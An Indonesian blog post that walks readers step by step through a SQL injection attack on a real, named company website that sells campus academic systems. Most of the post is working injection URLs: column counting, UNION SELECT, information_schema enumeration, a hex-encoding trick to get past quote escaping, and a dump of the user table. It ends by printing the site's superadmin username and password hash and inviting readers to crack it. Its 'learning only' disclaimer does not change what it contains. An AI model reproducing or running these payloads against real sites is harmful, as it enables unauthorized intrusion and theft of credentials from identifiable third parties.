Filed in Labels: 0 comments
Pada tulisan saya kali ini saya memilih untuk topik SQL Injection, karena belakangan ini banyak skali pemberitaan di media tentang pembobolan website-website pemerintahan yang saya pikir semuanya melewati bugs SQL Injection yang sangat fenomenal ini.

Karena tertarik dengan trik ini, saya mencoba untuk search beberapa keyword dalam google, yang saya khususkan buat pencarian website-website dengan domain .id . ada banyak website yang vuln terhadap SQL Injection, tapi kali ini saya khususkan pembahasan saya ke website www.suteki.co.id. Kenapa .. ? karna saya lihat produk-produk aplikasi yang di buat oleh perusahaan ini lebih terfokus pada sistem Akademik Kampus..

Ok, tanpa bertele-tele saya langsung saja pada pokok pembahasannya ( sebelumnya saya pamit pada Master-Master yang ada disini, mohon maaf jika trik ini basi bagi Anda semua, setidaknya saya ingin berbagi sedikit dengan teman-teman )

Yang perlu kita persiapkan :

1. 1 Unit Komputer ( terkoneksi ke internet tentunya )
2. Sedikit pemahaman tentang MySQL
3. Segelas Cofeemix ( heheh )
4. Sebungkus Sampoerna Mild

Let's Try .....

langkah pertama :
Buka Browser kesayangan anda ( saya make Mozilla ) dan ketikkan pada URL Address http://www.suteki.co.id.
tampak tampilan website ini yang begitu dinamis, dan tertata dengan rapi, pilih salah satu berita yang ada dalam website itu ..
http://www.suteki.co.id/index.php?pilihan=berita&aksi=detil&id=14 ( saya milih artikel dengan ID = 14 )

nah .. apa yang selanjutnya kita lakukan .. ?
ok, kita coba melakukan penetrasi dengan menggunakan Blind SQL Injection ( saya anggap teman-teman sudah paham dengan ini )

http://www.suteki.co.id/index.php?pilihan=berita&aksi=detil&id=14 ORDER BY 1/*
( lakukan COUNT ID hingga MySQL mengeluarkan pesan error )

http://www.suteki.co.id/index.php?pilihan=berita&aksi=detil&id=14 ORDER BY 2/*
….

http://www.suteki.co.id/index.php?pilihan=berita&aksi=detil&id=14 ORDER BY 8/*
akhirnya MySQL mengeluarkan pesan error :

Unknown column '8' in 'order clause'
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/iketus/public_html/fungsi.php on line 1950


Artinya .. MySQL tidak menemukan field yang bernilai 8 ( kalo salah mohon koreksinya ).

Setelah langkah diatas, kita bisa melanjutkan aksi BLIND SQL Injection kita …

http://www.suteki.co.id/index.php?pilihan=berita&aksi=detil&id=-14 union select 1,2,3,4,5,6,7/*

( kita menambahkan perintah UNION untuk menggabungkan 2 perintah select dalam database)
Sebelumnya perlu kita ketahui bahwa MySQL menganggap perintah UNION valid jika field yang di pilih (SELECT) bernilai sama antara table 1 dengan table lainnya..

Dari injection yang kita masukkan tadi di atas, akan tampil beberapa angka yang kita masukkan tadi dalam website tersebut ( angka antara 1 – 7), nah angka yang muncul itu akan kita gunakan untuk menampilkan data-data yang berada dalam database server.. ( username dan password tentunya .. hehehe )

Tapi … kita kan gak tau database atau table-table yang ada di dalamnya … ?

Langkah Kedua :

Sebelum kita lanjutkan, mungkin ada baiknya anda cari referensi tentang MySQL di google untuk syntax-syntax :

Table_name
Information_schema.tables
Information_schema.columns
Table_schema
Column_name


OK, kita lanjutkan..
Setelah kita mendapatkan angka “sakti” dalam website itu, sekarang kita mencari informasi database dan table yang digunakan untuk data website itu dengan menggunakan syntax-syntax diatas tadi…

( kita tampilkan datanya lewat field ke-3 (dalam hal ini, angka 3 adalah angka “sakti” yang muncul pada website tersebut) ).

http://www.suteki.co.id/index.php?pilihan=berita&aksi=detil&id=-14%20union%20select%201,2,table_name,4,5,6,7%20from%20
information_schema.tables%20where%20table_schema=database()%20limit%2020,100/*

(injection diatas berguna untuk menampilkan nama-nama table yang ada dalam database yang digunakan .. limit 0,10 berguna untuk menampilkan batas dari table-table yang akan ditampilkan)

Ok, setelah URL diatas kita jalankan, kita bias melihat ada table yang menarik dari banyaknya table yang di tampilkan website itu… hehehhe, tentunya table user yang mungkin saja berisi username dan password.

Berikutnya, setelah kita mendapatkan nama dari table yang berisi password, sekarang kita coba explore field-field apa saya yang berada dalam table user tersebut, dengan injection :

http://www.suteki.co.id/index.php?pilihan=berita&aksi=detil&id=-14%20union%20select%201,2,column_name,4,5,6,7%20from%20
information_schema.columns%20where%20table_name='user'/*

LOH .. !! kok error .. ?
Iya, ketika url di atas dijalankan akan muncul pesan error di browser anda…

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'user\'/*' at line 4


Itu berarti magic quote dalam server itu di aktifkan … so ….
Ada banyak jalan menuju Roma … hehehe…
Kita convert string user ke karakter HEX … ( silahkan anda search di google, website yang menyediakan tools untuk konversi tersebut )
Setelah di konversi user = 75736572 ..
Jgn lupa untuk menambahkan 0x sebelum karakter HEX untuk user dalam injection kita, yang nantinya akan seperti 0x75736572,…

http://www.suteki.co.id/index.php?pilihan=berita&aksi=detil&id=-14%20union%20select%201,2,column_name,4,5,6,7%20from%20
information_schema.columns%20where%20table_name=0x75736572/*

setelah kita menjalankan injection seperti diatas , maka akan muncul field-field dari table user, dan sepertinya ada 2 field yang menarik untuk kita lihat .. hehehe, tentu saja field NAMA dan PASSWORD ..

Langkah Ketiga :

Masukan url berikut untuk meng-injeksi username dan passwordnya
http://www.suteki.co.id/index.php?pilihan=berita&aksi=detil&id=-14%20union%20select%201,2,concat(NAMA,0x3a,PASSWORD),4,5,6,7%20from user/*
(fungsi concat disini untuk menampilkan data lebih dari satu, dan karakter 0x3a adalah karakter HEXA untuk karakter ; sebagai pemisah antara NAMA dan PASSWORD )
Hasil dari injection diatas akan menampilkan USERNAME dan PASSWORD dari table user :

superadmin:4b791eae459638f7


ternyata passwordnya di encrypt ( mungkin memakai encrypt MD5 ) silahkan di crack….hehehe

Demikian akhir dari tulisan saya … semoga bias bermanfaat untuk teman-teman semua …
Mohon maaf jika kurang bermutu, sebab sayapun tidak akan berhenti untuk belajar …
NB : Tulisan ini hanya sebagai bahan pembelajaran, saya tidak bertanggung jawab atas segala akibat yang ditimbulkan oleh tulisan ini …

Share This Post

RSS Digg Twitter StumbleUpon Delicious Technorati

0 comments to “SQL Injection pada SI Akademik ( www.suteki.co.id )”

Comments
Leave a Comment

Zionn designed by ZENVERSE | Converted by Blogger Template Place Collaboration One-4-All